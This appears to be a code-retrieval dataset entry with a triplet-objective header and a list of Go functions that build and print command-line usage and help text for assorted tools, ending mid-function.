{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func genUsage(w io.Writer, cmdName string) error {\n\t// Capture output from running:\n\t// foo -help\n\tbuf := new(bytes.Buffer)\n\tcmd := exec.Command(cmdName, \"-help\")\n\tcmd.Stderr = buf\n\tcmd.Run()\n\n\t// Add DO NOT EDIT notice.\n\tout := new(bytes.Buffer)\n\tfmt.Fprintf(out, \"// Generated by `usagen %s`; DO NOT EDIT.\\n\\n\", cmdName)\n\n\t// Prefix each line with \"// \".\n\tlines := strings.Split(buf.String(), \"\\n\")\n\tfor i, line := range lines {\n\t\tprefix := \"// \"\n\t\tif len(line) == 0 {\n\t\t\tif i == len(lines)-1 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tprefix = \"//\"\n\t\t}\n\t\tfmt.Fprintf(out, \"%s%s\\n\", prefix, line)\n\t}\n\tout.WriteString(\"package main\\n\")\n\n\t// Write usage info to w.\n\tif _, err := w.Write(out.Bytes()); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\treturn nil\n}", "func genUsage() *usage.Info {\n\tinfo := usage.NewInfo(\"\", \"app-name\")\n\n\tinfo.AppNameColorTag = \"{*}\" + colorTagApp\n\n\tinfo.AddOption(OPT_PROCFILE, \"Path to procfile\", \"file\")\n\tinfo.AddOption(OPT_DRY_START, \"Dry start {s-}(don't export anything, just parse and test procfile){!}\")\n\tinfo.AddOption(OPT_DISABLE_VALIDATION, \"Disable application validation\")\n\tinfo.AddOption(OPT_UNINSTALL, \"Remove scripts and helpers for a particular application\")\n\tinfo.AddOption(OPT_FORMAT, \"Format of generated configs\", \"upstart|systemd\")\n\tinfo.AddOption(OPT_NO_COLOR, \"Disable colors in output\")\n\tinfo.AddOption(OPT_HELP, \"Show this help message\")\n\tinfo.AddOption(OPT_VER, \"Show version\")\n\n\tinfo.AddExample(\"-p ./myprocfile -f systemd myapp\", \"Export given procfile to systemd as myapp\")\n\tinfo.AddExample(\"-u -f systemd myapp\", \"Uninstall myapp from systemd\")\n\n\tinfo.AddExample(\"-p ./myprocfile -f upstart myapp\", \"Export given procfile to upstart as myapp\")\n\tinfo.AddExample(\"-u -f upstart myapp\", \"Uninstall myapp from upstart\")\n\n\treturn info\n}", "func genUsage() *usage.Info {\n\tinfo := usage.NewInfo(\"\", \"script\")\n\n\tinfo.AddOption(OPT_OUTPUT, \"Path to output file\", \"file\")\n\tinfo.AddOption(OPT_TEMPLATE, \"Name of template\", \"name\")\n\tinfo.AddOption(OPT_NAME, \"Overwrite default name\", \"name\")\n\tinfo.AddOption(OPT_NO_COLOR, \"Disable colors in output\")\n\tinfo.AddOption(OPT_HELP, \"Show this help message\")\n\tinfo.AddOption(OPT_VER, \"Show version\")\n\n\tinfo.AddExample(\n\t\t\"script.sh\",\n\t\t\"Parse shell script and show documentation in console\",\n\t)\n\n\tinfo.AddExample(\n\t\t\"script.sh -t markdown -o my_script.md\",\n\t\t\"Parse shell script and render documentation to markdown file\",\n\t)\n\n\tinfo.AddExample(\n\t\t\"script.sh -t /path/to/template.tpl -o my_script.ext\",\n\t\t\"Parse shell script and render documentation with given template\",\n\t)\n\n\tinfo.AddExample(\n\t\t\"script.sh myFunction\",\n\t\t\"Parse shell script and show documentation for some constant, variable or method\",\n\t)\n\n\treturn info\n}", "func showUsage() {\n\tgenUsage().Render()\n}", "func usage() {\n\tlog.Print(createUsage)\n\tlog.Print(deleteUsgage)\n}", "func usageGenerate(cmd string) string {\n\treturn \"Generates the Kubernetes manifests which allow a Bridge to be deployed \" +\n\t\t\"to TriggerMesh, and writes them to standard output.\\n\" +\n\t\t\"\\n\" +\n\t\t\"USAGE:\\n\" +\n\t\t\" \" + cmd + \" FILE [OPTION]...\\n\" +\n\t\t\"\\n\" +\n\t\t\"OPTIONS:\\n\" +\n\t\t\" --bridge Output a Bridge object instead of a List-manifest.\\n\" +\n\t\t\" --yaml Output generated manifests in YAML format.\\n\"\n}", "func getUsageTemplate() string {\n\treturn `{{printf \"\\n\"}}Usage:{{if .Runnable}}\n {{.UseLine}}{{end}}{{if gt (len .Aliases) 0}}{{printf \"\\n\" }}\nAliases:\n {{.NameAndAliases}}{{end}}{{if .HasExample}}{{printf \"\\n\" }}\nExamples:\n{{.Example}}{{end}}{{if .HasAvailableSubCommands}}{{printf \"\\n\"}}\nAvailable Commands:{{range .Commands}}{{if (or .IsAvailableCommand (eq .Name \"help\"))}}\n {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}}{{printf \"\\n\"}}\nFlags:\n{{.LocalFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasAvailableInheritedFlags}}{{printf \"\\n\"}}\nGlobal Flags:\n{{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}}{{printf \"\\n\"}}\nAdditional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}}\n {{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}}{{printf \"\\n\"}}\nUse \"{{.CommandPath}} [command] --help\" for more information about a command.{{end}}\"\n{{printf \"\\n\"}}`\n}", "func usage() {\n\tfmt.Printf(\"%s\", helpString)\n}", "func usage(writer io.Writer, cfg *CmdConfig) {\n\tflags := flagSet(\"<global options help>\", cfg)\n\tflags.SetOutput(writer)\n\tflags.PrintDefaults()\n}", "func usage() {\n\tfmt.Fprintf(os.Stderr, \"LangGen generates the AST for the Optgen language.\\n\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"LangGen uses the Optgen definition language to generate its own AST.\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"Usage:\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"\\tlanggen [flags] command sources...\\n\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"The commands are:\\n\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\texprs generate expression definitions and functions\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\tops generate operator definitions and functions\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"Flags:\\n\")\n\n\tflag.PrintDefaults()\n\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n}", "func (p *stats) Usage() string {\n\treturn \"admin stats\"\n}", "func usage() {\n\tlog.Fatalf(usageStr)\n}", "func genAbout(gitRev string) *usage.About {\n\tabout := &usage.About{\n\t\tApp: APP,\n\t\tVersion: VER,\n\t\tDesc: DESC,\n\t\tYear: 2006,\n\t\tOwner: \"FunBox\",\n\t\tLicense: \"MIT License\",\n\t\tUpdateChecker: usage.UpdateChecker{\"funbox/init-exporter\", update.GitHubChecker},\n\n\t\tAppNameColorTag: \"{*}\" + colorTagApp,\n\t\tVersionColorTag: colorTagVer,\n\t}\n\n\tif gitRev != \"\" {\n\t\tabout.Build = \"git:\" + gitRev\n\t}\n\n\treturn about\n}", "func genAbout(gitRev string) *usage.About {\n\tabout := &usage.About{\n\t\tApp: APP,\n\t\tVersion: VER,\n\t\tDesc: DESC,\n\t\tYear: 2006,\n\t\tOwner: \"ESSENTIAL KAOS\",\n\t\tLicense: \"Apache License, Version 2.0 <https://www.apache.org/licenses/LICENSE-2.0>\",\n\n\t\tAppNameColorTag: \"{*}\" + colorTagApp,\n\t\tVersionColorTag: colorTagVer,\n\t}\n\n\tif gitRev != \"\" {\n\t\tabout.Build = \"git:\" + gitRev\n\t}\n\n\treturn about\n}", "func Usage(w io.Writer, cmdName string, flags []Flag) {\n\tbase := filepath.Base(os.Args[0])\n\tpre := fmt.Sprintf(\"%s \", base)\n\tif cmdName == base {\n\t\tpre = \"\"\n\t}\n\tfmt.Fprintf(w, \"%s%s [flags] [args...]\\n\", pre, cmdName)\n\tfor _, f := range flags {\n\t\tfmt.Fprintf(w, \"\\t-%s\\n\", f.Describe())\n\t}\n\n}", "func usage() {\n\tfmt.Fprintf(os.Stderr, \"Optgen is a tool for generating optimizer code.\\n\\n\")\n\tfmt.Fprintf(os.Stderr, \"Usage:\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"\\toptgen command [flags] sources...\\n\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"The commands are:\\n\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\taggs generates aggregation definitions and functions\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"Flags:\\n\")\n\n\tflag.PrintDefaults()\n\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n}", "func printUsage(f *os.File, kind HelpType) {\n\tconst usageTempl = `\nUSAGE:\n{{.Sp3}}{{.AppName}} --mount=<directory> --shadow=<directory> [--out=<file>]\n{{.Sp3}}{{.AppNameFiller}} [(--csv | --json)] [--ro]\n{{.Sp3}}{{.AppName}} --help\n{{.Sp3}}{{.AppName}} --version\n{{if eq .UsageVersion \"short\"}}\nUse '{{.AppName}} --help' to get detailed information about options and\nexamples of usage.{{else}}\n\nDESCRIPTION:\n{{.Sp3}}{{.AppName}} mounts a synthesized file system which purpose is to generate\n{{.Sp3}}trace events for each low level file I/O operation executed on any file\n{{.Sp3}}or directory under its control. Examples of such operations are open(2),\n{{.Sp3}}read(2), write(2), close(2), access(2), etc.\n\n{{.Sp3}}{{.AppName}} exposes the contents of the directory specified by the\n{{.Sp3}}option '--shadow' via the path specified by the option '--mount'. {{.AppName}}\n{{.Sp3}}generates a trace event for each I/O operation and forwards the operation\n{{.Sp3}}to the target file system, that is, the one which actually hosts the shadow\n{{.Sp3}}directory. See the EXAMPLES section below.\n\n{{.Sp3}}Individual trace events generated by {{.AppName}} are written to the specified\n{{.Sp3}}output file (option --out) in the specified format.\n\n\nOPTIONS:\n{{.Sp3}}--mount=<directory>\n{{.Tab1}}This is the top directory through which the files and directories residing\n{{.Tab1}}under the shadow directory will be exposed. See the EXAMPLES section below.\n{{.Tab1}}The specified directory must exist and must be empty.\n\n{{.Sp3}}--shadow=<directory>\n{{.Tab1}}This is a directory where the files and directories you want to trace\n{{.Tab1}}actually reside.\n{{.Tab1}}The specified directory must exist but may be empty.\n\n{{.Sp3}}--out=<file>\n{{.Tab1}}Path of the text file to write the trace events to. If this file\n{{.Tab1}}does not exist it will be created, otherwise new events will be appended.\n{{.Tab1}}Note that this file cannot be located under the shadow directory.\n{{.Tab1}}Use '-' (dash) to write the trace events to the standard output.\n{{.Tab1}}In addition, you can specify a file name with extension '.csv' or '.json'\n{{.Tab1}}to instruct {{.AppName}} to emit records in the corresponding format,\n{{.Tab1}}as if you had used the '--csv' or '--json' options (see below).\n{{.Tab1}}Default: write trace records to standard output.\n\n{{.Sp3}}--csv\n{{.Tab1}}Format each individual trace event generated by {{.AppName}} as a set of\n{{.Tab1}}comma-separated values in a single line.\n{{.Tab1}}Note that not all events contain the same information since each\n{{.Tab1}}low level I/O operation requires specific arguments. Please refer to\n{{.Tab1}}the documentation at 'https://github.com/airnandez/{{.AppName}}' for\n{{.Tab1}}details on the format of each event.\n{{.Tab1}}CSV is the default output format unless the output file name (see option\n{{.Tab1}}'--out' above) has a '.json' extension.\n\n{{.Sp3}}--json\n{{.Tab1}}Format each individual trace event generated by {{.AppName}} as\n{{.Tab1}}a JSON object. Events in this format are self-described but not all\n{{.Tab1}}events contain the same information since each low level I/O operation\n{{.Tab1}}requires specific arguments. Please refer to the documentation\n{{.Tab1}}at 'https://github.com/airnandez/{{.AppName}}' for details on the format\n{{.Tab1}}of each event.\n\n{{.Sp3}}--ro\n{{.Tab1}}Expose the shadow file system as a read-only file system.\n{{.Tab1}}Default: if this option is not specified, the file system is mounted in\n{{.Tab1}}read-write mode.\n\n{{.Sp3}}--allowother\n{{.Tab1}}Allow other users to access the file system.\n\n{{.Sp3}}--help\n{{.Tab1}}Show this help\n\n{{.Sp3}}--version\n{{.Tab1}}Show version information and source repository location\n\nEXAMPLES:\n{{.Sp3}}To trace file I/O operations on files under $HOME/data use:\n\n{{.Tab1}}{{.AppName}} --mount=/tmp/trace --shadow=$HOME/data\n\n{{.Sp3}}After a successfull mount, the contents under $HOME/data are also\n{{.Sp3}}accessible by using the path /tmp/trace. For instance, if the\n{{.Sp3}}file $HOME/data/hello.txt exists, {{.AppName}} traces all the file I/O\n{{.Sp3}}operations induced by the command:\n\n{{.Tab1}}cat /tmp/trace/hello.txt\n\n{{.Sp3}}Trace events for each one of the low level operations induced by the\n{{.Sp3}}'cat' command above will be written to the output file, the standard\n{{.Sp3}}output in this particular example.\n\n{{.Sp3}}You can also create new files under /tmp/trace. For instance, the file\n{{.Sp3}}I/O operations induced by the shell command:\n\n{{.Tab1}}echo \"This is a new file\" > /tmp/trace/newfile.txt\n\n{{.Sp3}}will be traced and the file will actually be created in\n{{.Sp3}}$HOME/data/newfile.txt. This file will persist even after unmounting\n{{.Sp3}}{{.AppName}} (see below on how to unmount the synthetized file system).\n\n{{.Sp3}}Please note that any destructive action, such as removing or modifying\n{{.Sp3}}the contents of a file or directory using the path /tmp/trace will\n{{.Sp3}}affect the corresponding file or directory under $HOME/data.\n{{.Sp3}}For example, the command:\n\n{{.Tab1}}rm /tmp/trace/notes.txt\n\n{{.Sp3}}will have the same destructive effect as if you had executed\n\n{{.Tab1}}rm $HOME/data/notes.txt\n\n{{.Sp3}}To unmount the file system exposed by {{.AppName}} use:\n\n{{.Tab1}}umount /tmp/trace\n\n{{.Sp3}}Alternatively, on MacOS X you can also use the diskutil(8) command:\n\n{{.Tab1}}/usr/sbin/diskutil unmount /tmp/trace\n{{end}}\n`\n\n\tfields := map[string]string{\n\t\t\"AppName\": programName,\n\t\t\"AppNameFiller\": strings.Repeat(\" \", len(programName)),\n\t\t\"Sp2\": \" \",\n\t\t\"Sp3\": \" \",\n\t\t\"Sp4\": \" \",\n\t\t\"Sp5\": \" \",\n\t\t\"Sp6\": \" \",\n\t\t\"Tab1\": \"\\t\",\n\t\t\"Tab2\": \"\\t\\t\",\n\t\t\"Tab3\": \"\\t\\t\\t\",\n\t\t\"Tab4\": \"\\t\\t\\t\\t\",\n\t\t\"Tab5\": \"\\t\\t\\t\\t\\t\",\n\t\t\"Tab6\": \"\\t\\t\\t\\t\\t\\t\",\n\t\t\"UsageVersion\": \"short\",\n\t}\n\tif kind == HelpLong {\n\t\tfields[\"UsageVersion\"] = \"long\"\n\t}\n\tminWidth, tabWidth, padding := 8, 4, 0\n\ttabwriter := tabwriter.NewWriter(f, minWidth, tabWidth, padding, byte(' '), 0)\n\ttempl := template.Must(template.New(\"\").Parse(usageTempl))\n\ttempl.Execute(tabwriter, fields)\n\ttabwriter.Flush()\n}", "func usage() {\n\tfmt.Fprint(os.Stderr, USAGE)\n}", "func (c *CmdHandler) Usage() string {\n\thelp := \"Prompt:\\n\" +\n\t\t\"%d>: prompt where %d is the number of tracking \" +\n\t\t\"addresses.\\n\" +\n\t\t\"Commands:\\n\" +\n\t\t\"* scan val - scans the current values of all \" +\n\t\t\"tracked addresses and filters the tracked \" +\n\t\t\"addresses by value. Scans the whole of mapped \" +\n\t\t\"memory if there are no tracked addresses (such \" +\n\t\t\"as on startup or after a reset).\\n\" +\n\t\t\"* list - lists all tracked addresses and their \" +\n\t\t\"last values.\\n\" +\n\t\t\"* update - scans the current values of all \" +\n\t\t\"tracked addresses.\\n\" +\n\t\t\"* set addr val - Writes val to address addr.\\n\" +\n\t\t\"* setall val - Writes val to all tracked \" +\n\t\t\"addresses.\\n\" +\n\t\t\"* reset - Removes all tracked addresses. The \" +\n\t\t\"next scan will read all of mapped memory.\\n\" +\n\t\t\"* help - prints the commands\\n\"\n \n\treturn help\n}", "func usage() {\n\tfmt.Fprintf(os.Stderr, \"Scriptgen is a tool for generating optimizer code.\\n\\n\")\n\tfmt.Fprintf(os.Stderr, \"Usage:\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"\\tscriptgen command [flags] sources...\\n\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"The commands are:\\n\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\taggs generates aggregation definitions and functions\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n\n\tfmt.Fprintf(os.Stderr, \"Flags:\\n\")\n\n\tflag.PrintDefaults()\n\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n}", "func usageMain(w io.Writer, set *flag.FlagSet) error {\n\toutputPara(w, usageLineLength, 0, usageShort)\n\toutputPara(w, usageLineLength, 0, usageMainPara)\n\n\tcmdNames := commands.Names()\n\n\tfieldWidth := 0\n\tfor _, name := range cmdNames {\n\t\tif n := len(name); n+4 > fieldWidth {\n\t\t\tfieldWidth = n + 4\n\t\t}\n\t}\n\n\tfmt.Fprintln(w, \"Commands:\")\n\tfor _, name := range cmdNames {\n\t\tcmd, _ := commands[name]\n\t\tfmt.Fprintf(w, \"%s%-*s %s\\n\", strings.Repeat(\" \", usageIndent), fieldWidth, name, cmd.shortDesc)\n\t}\n\tfmt.Fprintln(w)\n\toutputPara(w, usageLineLength, 0, usageCommandPara)\n\n\tif !isFlagPassed(set, commonFlag) {\n\t\toutputPara(w, usageLineLength, 0, usageCommonPara)\n\n\t\treturn nil\n\t}\n\n\tfmt.Fprintln(w, \"Configuration file:\")\n\toutputPara(w, usageLineLength, usageIndent, usageConfigIntroPara)\n\toutputPara(w, usageLineLength, usageIndent, usageConfigLocationPara)\n\toutputPara(w, usageLineLength, usageIndent, usageConfigKeysPara)\n\n\tfmt.Fprintln(w, \"Explicit and implicit anchors:\")\n\toutputPara(w, usageLineLength, usageIndent, usageAnchorsIntroPara)\n\toutputPara(w, usageLineLength, usageIndent, usageAnchorsFormatPara)\n\toutputPara(w, usageLineLength, usageIndent, usageAnchorsInsecurePara)\n\n\tfmt.Fprintln(w, \"Additional path segment:\")\n\toutputPara(w, usageLineLength, usageIndent, usageAPSIntroPara)\n\n\tfmt.Fprintln(w, \"TLS client certificates:\")\n\toutputPara(w, usageLineLength, usageIndent, usageCertsIntroPara)\n\toutputPara(w, usageLineLength, usageIndent, usageCertsFormatPara)\n\toutputPara(w, usageLineLength, usageIndent, usageCertsKeyPara)\n\n\tfmt.Fprintln(w, \"Additional HTTP headers:\")\n\toutputPara(w, usageLineLength, usageIndent, usageHeadersPara)\n\toutputPara(w, usageLineLength, usageIndent*2, usageHeadersExample)\n\n\tfmt.Fprintln(w, \"HTTP Host header:\")\n\toutputPara(w, usageLineLength, usageIndent, usageHostHeaderPara)\n\n\tfmt.Fprintln(w, \"Request timeout:\")\n\toutputPara(w, usageLineLength, usageIndent, usageTimeoutPara)\n\n\treturn nil\n}", "func usageGraph(cmd string) string {\n\treturn \"Generates a DOT representation of a Bridge and writes it to standard \" +\n\t\t\"output.\\n\" +\n\t\t\"\\n\" +\n\t\t\"USAGE:\\n\" +\n\t\t\" \" + cmd + \" FILE\\n\"\n}", "func usage(c *cobra.Command) error {\n\ts := \"Usage: \"\n\tif c.Runnable() {\n\t\ts += c.UseLine() + \"\\n\"\n\t} else {\n\t\ts += c.CommandPath() + \" [command]\\n\"\n\t}\n\ts += \"\\n\"\n\tif len(c.Aliases) > 0 {\n\t\ts += \"Aliases: \" + c.NameAndAliases() + \"\\n\"\n\t}\n\tif c.HasExample() {\n\t\ts += \"Example:\\n\"\n\t\ts += c.Example + \"\\n\"\n\t}\n\n\tvar managementCommands, nonManagementCommands []*cobra.Command\n\tfor _, f := range c.Commands() {\n\t\tf := f\n\t\tif f.Hidden {\n\t\t\tcontinue\n\t\t}\n\t\tif f.Annotations[Category] == Management {\n\t\t\tmanagementCommands = append(managementCommands, f)\n\t\t} else {\n\t\t\tnonManagementCommands = append(nonManagementCommands, f)\n\t\t}\n\t}\n\tprintCommands := func(title string, commands []*cobra.Command) string {\n\t\tif len(commands) == 0 {\n\t\t\treturn \"\"\n\t\t}\n\t\tvar longest int\n\t\tfor _, f := range commands {\n\t\t\tif l := len(f.Name()); l > longest {\n\t\t\t\tlongest = l\n\t\t\t}\n\t\t}\n\n\t\ttitle = Bold(title)\n\t\tt := title + \":\\n\"\n\t\tfor _, f := range commands {\n\t\t\tt += \" \"\n\t\t\tt += f.Name()\n\t\t\tt += strings.Repeat(\" \", longest-len(f.Name()))\n\t\t\tt += \" \" + f.Short + \"\\n\"\n\t\t}\n\t\tt += \"\\n\"\n\t\treturn t\n\t}\n\ts += printCommands(\"Management commands\", managementCommands)\n\ts += printCommands(\"Commands\", nonManagementCommands)\n\n\ts += Bold(\"Flags\") + \":\\n\"\n\ts += c.LocalFlags().FlagUsages() + \"\\n\"\n\n\tif c == c.Root() {\n\t\ts += \"Run '\" + c.CommandPath() + \" COMMAND --help' for more information on a command.\\n\"\n\t} else {\n\t\ts += \"See also '\" + c.Root().CommandPath() + \" --help' for the global flags such as '--namespace', '--snapshotter', and '--cgroup-manager'.\"\n\t}\n\tfmt.Fprintln(c.OutOrStdout(), s)\n\treturn nil\n}", "func Usage() {\n\tfmt.Print(UsageString())\n\treturn\n}", "func Usage() {\n\tfmt.Fprintf(os.Stderr, \"Usage of gensv:\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\tgensv -package P -type T\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\tgensv -package [package] -type [type] -o [filename]\\n\")\n}", "func (h *Help) Usage(name string) string {\n\treturn fmt.Sprintf(\"usage: %s %s\", name, h.Args)\n}", "func setupUsage(fs *flag.FlagSet) {\n printNonEmpty := func(s string) {\n if s != \"\" {\n fmt.Fprintf(os.Stderr, \"%s\\n\", s)\n }\n }\n tmpUsage := fs.Usage\n fs.Usage = func() {\n printNonEmpty(CommandLineHelpUsage)\n tmpUsage()\n printNonEmpty(CommandLineHelpFooter)\n }\n}", "func (cli *CLI) printUsage() {\n\tfmt.Println(\"Usage:\")\n\tfmt.Printf(\" getbal -address ADDRESS\\t Gets the balance for an address.\\n\")\n\tfmt.Printf(\" create -address ADDRESS\\t Creates a blockchain and sends genesis reward to address.\\n\")\n\tfmt.Printf(\" print\\t Prints the blocks in the chain.\\n\")\n\tfmt.Printf(\" send -from FROM -to TO -amount AMOUNT\\t Sends amount of coins from one address to another.\\n\")\n\tfmt.Printf(\" createwallet\\t Creates a new Wallet.\\n\")\n\tfmt.Printf(\" listaddresses\\t List the addresses in the wallets file.\\n\")\n}", "func Usage() {\n\t_, _ = fmt.Fprintf(os.Stderr, \"Usage of plc4xgenerator:\\n\")\n\t_, _ = fmt.Fprintf(os.Stderr, \"\\tplc4xgenerator [flags] -type T [directory]\\n\")\n\t_, _ = fmt.Fprintf(os.Stderr, \"\\tplc4xgenerator [flags] -type T files... # Must be a single package\\n\")\n\t_, _ = fmt.Fprintf(os.Stderr, \"Flags:\\n\")\n\tflag.PrintDefaults()\n}", "func usage(out *os.File, description bool) {\n\tif description {\n\t\tfmt.Fprintf(out, \"Returns the IP addresses of the system.\\n\")\n\t\tfmt.Fprintf(out, \"\\n\")\n\t}\n\tfmt.Fprintf(out, \"Usage: %s [options]\\n\", os.Args[0])\n\tfmt.Fprintf(out, \"\\n\")\n\tfmt.Fprintf(out, \"Options:\\n\")\n\tflag.PrintDefaults()\n}", "func UsageTemplate() string {\n\treturn `Usage:{{if .Runnable}}\n {{prepare .UseLine}}{{end}}{{if .HasAvailableSubCommands}}\n {{prepare .CommandPath}} [command]{{end}}{{if gt (len .Aliases) 0}}\n\nAliases:\n {{.NameAndAliases}}{{end}}{{if .HasExample}}\n\nExamples:\n{{prepare .Example}}{{end}}{{if .HasAvailableSubCommands}}\n\nAvailable Commands:{{range .Commands}}{{if (or .IsAvailableCommand (eq .Name \"help\"))}}\n {{rpad .Name .NamePadding }} {{prepare .Short}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}}\n\nFlags:\n{{.LocalFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasAvailableInheritedFlags}}\n\nUse \"{{ProgramName}} options\" for a list of global command-line options (applies to all commands).{{end}}\n`\n}", "func UsageFunc(usageTemplate string) func() {\n\treturn func() {\n\t\tvar t *template.Template\n\t\tvar err error\n\t\tif t, err = template.New(\"usage\").Parse(usageTemplate); err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tif err := t.Execute(os.Stdout, os.Args[0]); err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\t// TODO(aoeu): Print default flags before printing usage examples.\n\t\tflag.PrintDefaults()\n\t\tos.Exit(2)\n\t}\n}", "func Usage(a App, invocation []string, w io.Writer) error {\n\tif len(invocation) < 1 {\n\t\treturn errors.New(\"invalid invocation path []\")\n\t}\n\n\tdescr := a.Description()\n\tcmds := a.Commands()\n\targs := a.Args()\n\topts := a.Options()\n\n\tif len(invocation) > 1 {\n\t\tfor _, key := range invocation[1:] {\n\t\t\tmatched := false\n\t\t\tfor _, cmd := range cmds {\n\t\t\t\tif cmd.Key() == key {\n\t\t\t\t\tdescr = cmd.Description()\n\t\t\t\t\tcmds = cmd.Commands()\n\t\t\t\t\targs = cmd.Args()\n\t\t\t\t\topts = append(opts, cmd.Options()...)\n\t\t\t\t\tmatched = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t// should never happen if invocation originates from the parser\n\t\t\tif !matched {\n\t\t\t\t// ignore errors here as no alternative writer is available\n\t\t\t\terr := fmt.Errorf(\"fatal: invalid invocation path %v\\n\", invocation)\n\t\t\t\tfmt.Fprint(w, err.Error())\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tindent := \" \"\n\tthiscmd := strings.Join(invocation, \" \")\n\tfmt.Fprintf(w, \"%s%s%s\\n\\n\", thiscmd, optstring(opts), argstring(args))\n\tfmt.Fprintln(w, \"Description:\")\n\tfmt.Fprintf(w, \"%s%s\\n\", indent, descr)\n\n\tvar lines []usageline\n\tmaxkey := 0\n\tif len(args) > 0 {\n\t\tfor _, arg := range args {\n\t\t\tvalue := arg.Description()\n\t\t\tif arg.Optional() {\n\t\t\t\tvalue += \", optional\"\n\t\t\t}\n\t\t\tline := usageline{\n\t\t\t\tsection: \"Arguments\",\n\t\t\t\tkey: arg.Key(),\n\t\t\t\tvalue: value,\n\t\t\t}\n\t\t\tlines = append(lines, line)\n\t\t\tif len(line.key) > maxkey {\n\t\t\t\tmaxkey = len(line.key)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(opts) > 0 {\n\t\tfor _, opt := range opts {\n\t\t\tcharstr := \" \"\n\t\t\tif opt.CharKey() != rune(0) {\n\t\t\t\tcharstr = \"-\" + string(opt.CharKey()) + \", \"\n\t\t\t}\n\n\t\t\tline := usageline{\n\t\t\t\tsection: \"Options\",\n\t\t\t\tkey: charstr + \"--\" + opt.Key(),\n\t\t\t\tvalue: opt.Description(),\n\t\t\t}\n\t\t\tlines = append(lines, line)\n\t\t\tif len(line.key) > maxkey {\n\t\t\t\tmaxkey = len(line.key)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(cmds) > 0 {\n\t\tfor _, cmd := range cmds {\n\t\t\tshortstr := \"\"\n\t\t\tif cmd.Shortcut() != \"\" {\n\t\t\t\tshortstr = \", shortcut: \" + cmd.Shortcut()\n\t\t\t}\n\n\t\t\tline := usageline{\n\t\t\t\tsection: \"Sub-commands\",\n\t\t\t\tkey: thiscmd + \" \" + cmd.Key(),\n\t\t\t\tvalue: cmd.Description() + shortstr,\n\t\t\t}\n\t\t\tlines = append(lines, line)\n\t\t\tif len(line.key) > maxkey {\n\t\t\t\tmaxkey = len(line.key)\n\t\t\t}\n\t\t}\n\t}\n\n\tlastsection := \"\"\n\tfor _, line := range lines {\n\t\tif line.section != lastsection {\n\t\t\tfmt.Fprintf(w, \"\\n%s:\\n\", line.section)\n\t\t}\n\t\tlastsection = line.section\n\t\tspacer := 3 + maxkey - len(line.key)\n\t\tfmt.Fprintf(w, \"%s%s%s%s\\n\", indent, line.key, strings.Repeat(\" \", spacer), line.value)\n\t}\n\treturn nil\n}", "func PrintUsage() {\n\tfmt.Printf(`\n Usage: %s <command>\n\n command:\n\n init - create a new app\n\n add <subcommand>\n\n subcommand:\n\n view <view name> - create a new view with the given name\n model <model name> - create a new model with the given name\n font <font string> - add a font from Google Web Fonts\n\n remove <subcommand>\n\n subcommand:\n\n view <view name> - remove the view with the given name\n model <model name> - remove the model with the given name\n font <font string> - remove a font\n\n`, path.Base(os.Args[0]))\n}", "func (cli *CommandLine) printUsage() {\n\tfmt.Println(\"Usage : \")\n\tfmt.Println(\"getbalance -address ADDRESS - print blockchain \")\n\tfmt.Println(\"createblockchain -address ADDRESS - print blockchain \")\n\tfmt.Println(\"send -from FROM -to TO -amount AMOUNT - print blockchain \")\n\tfmt.Println(\"printchain - print blockchain \")\n}", "func makeUsageString(flagInfo cliflags.FlagInfo) string {\n\ts := \"\\n\" + wrapDescription(flagInfo.Description) + \"\\n\"\n\tif flagInfo.EnvVar != \"\" {\n\t\t// Check that the environment variable name matches the flag name. Note: we\n\t\t// don't want to automatically generate the name so that grepping for a flag\n\t\t// name in the code yields the flag definition.\n\t\tcorrectName := \"COCKROACH_\" + strings.ToUpper(strings.Replace(flagInfo.Name, \"-\", \"_\", -1))\n\t\tif flagInfo.EnvVar != correctName {\n\t\t\tpanic(fmt.Sprintf(\"incorrect EnvVar %s for flag %s (should be %s)\",\n\t\t\t\tflagInfo.EnvVar, flagInfo.Name, correctName))\n\t\t}\n\t\ts = s + \"Environment variable: \" + flagInfo.EnvVar + \"\\n\"\n\t}\n\t// github.com/spf13/pflag appends the default value after the usage text. Add\n\t// the correct indentation (7 spaces) here. This is admittedly fragile.\n\treturn text.Indent(s, 